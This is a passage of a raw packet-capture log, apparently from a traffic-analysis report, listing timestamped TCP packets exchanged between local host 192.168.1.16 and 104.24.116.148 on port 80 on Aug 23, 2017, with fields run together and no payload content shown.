      Aug 23, 2017 11:21:36.563410997 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.563451052 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.569036007 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.569065094 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.569324017 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.569366932 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.581264973 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.581296921 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.581305981 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.581608057 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.581648111 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.584126949 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.584155083 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.584392071 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.584449053 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.593059063 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.593095064 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.593410969 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.593451977 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.601972103 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.601994991 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.602386951 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.602421045 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.614573002 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.614604950 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.614928961 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.614964008 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.621088982 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.621387005 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.621434927 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.636063099 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.636324883 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.636348009 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.644012928 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.644064903 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.644227028 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.644248962 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.650850058 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.650885105 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.651180029 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.651243925 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.660151005 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.660190105 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.660535097 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.660615921 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.667740107 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.667784929 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.668107986 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.668186903 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.680706978 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.680756092 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.681088924 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.681137085 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.687455893 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.687493086 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.687755108 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.687797070 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.689141035 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.689168930 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.689374924 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.689414024 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.700238943 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.700601101 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.700651884 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.706131935 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.706178904 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.706413984 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.706454992 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.734621048 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.734662056 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.735006094 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.735064030 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.762248039 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.762465000 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.762501955 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.764754057 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.764784098 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.764924049 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.764940023 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.784454107 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.784497976 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.784616947 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.784636974 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.787806988 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.787837029 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.787950993 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.787969112 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.800508022 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.802807093 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.802831888 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.802990913 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.817588091 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.817620039 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.817739010 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.828118086 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.828145027 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.828161001 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.828296900 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.832423925 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.832489967 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.832504034 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.832587004 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.850445032 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.850476980 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.850493908 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.850605965 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.852605104 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.852634907 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.852652073 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.852747917 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.867494106 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.881341934 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.881553888 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.881577015 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.888659000 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.888765097 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.888784885 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.914697886 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.914727926 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.915044069 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.915061951 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.918967962 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.918977022 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.919099092 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.919123888 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.934154987 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.934175968 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.934314966 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.934338093 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.939954042 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.939973116 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.940108061 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.940130949 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.961113930 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.961138964 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.961199999 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.961222887 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.967274904 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.967299938 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.967592955 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.967616081 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.977067947 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.977092981 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.977166891 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.977189064 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.984057903 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.984081030 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.984165907 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.984189034 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.000122070 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.000144958 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.000222921 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.000246048 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.005273104 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.008285999 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.024514914 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.024540901 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.024666071 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.024698019 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.025161028 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.025178909 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.025257111 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.025274992 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.040288925 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.040303946 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.041620970 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.041640997 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.053426027 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.053455114 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.053579092 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.053606033 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.073213100 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.073239088 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.073250055 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.073266983 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.073277950 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.073383093 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.073406935 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.092597008 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.092626095 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.092637062 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.092778921 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.092797041 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.092813015 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.092875957 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.096524954 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.113715887 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.115004063 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.125674963 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.125696898 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.125823021 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.125871897 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.129740000 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.129940033 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.129991055 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.149918079 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.150141954 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.150197983 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.160504103 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.160528898 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.160665035 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.160712004 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.164788008 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.164810896 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.164918900 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.164944887 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.179363966 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.179389000 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.179501057 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.179542065 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.183573008 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.183595896 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.183701992 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.183737040 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.204004049 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.204026937 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.204164028 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.204197884 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.210944891 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.210968018 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.211065054 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.211102009 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.219822884 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.219845057 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.219954967 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.219990969 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.226172924 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.226196051 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.226283073 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.226315022 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.242805958 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.242826939 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.243132114 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.243154049 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.249871016 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.249972105 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.249993086 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.264789104 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.265171051 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.265202045 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.271887064 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.271905899 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.272155046 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.272185087 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.279278994 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.279299021 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.279628038 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.279659033 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.285137892 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.285161972 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.285271883 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.285303116 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.288357019 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.288377047 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.288764000 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.288783073 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.300726891 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.300749063 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.300987005 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.301007032 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.306691885 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.306709051 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.306929111 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.306956053 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.310559034 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.310575962 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.310687065 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.310715914 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.327670097 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.327688932 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.327842951 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.327879906 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.328680992 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.328699112 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.328875065 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.328907967 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.346204996 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.346224070 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.346384048 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.346421003 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.351809978 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.351829052 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.351932049 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.351952076 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.363863945 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.363890886 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.363985062 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.364006042 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.370754004 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.370775938 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.371038914 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.371108055 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.371274948 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.371301889 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.371570110 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.371602058 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.391885042 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.391911030 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.392119884 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.392158031 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.398377895 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.398401976 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.398597956 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.398636103 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.398861885 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.398885965 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.399025917 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.399055004 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.418708086 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.418922901 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.418961048 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.425163984 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.425380945 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.425419092 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.433562994 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.433584929 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.433780909 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.433818102 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.439966917 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.439990044 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.440181971 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.440220118 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.440939903 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.440963030 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.441106081 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.441138983 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.452683926 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.452898026 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.452934980 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.455705881 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.455918074 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.455955029 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.463901997 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.463932991 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.464122057 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.464158058 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.469625950 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.469647884 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.469871998 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.469908953 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.481512070 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.481535912 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.481708050 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.481745005 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.487133026 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.487155914 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.487168074 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.487333059 MESZ4919680192.168.1.16104.24.116.148
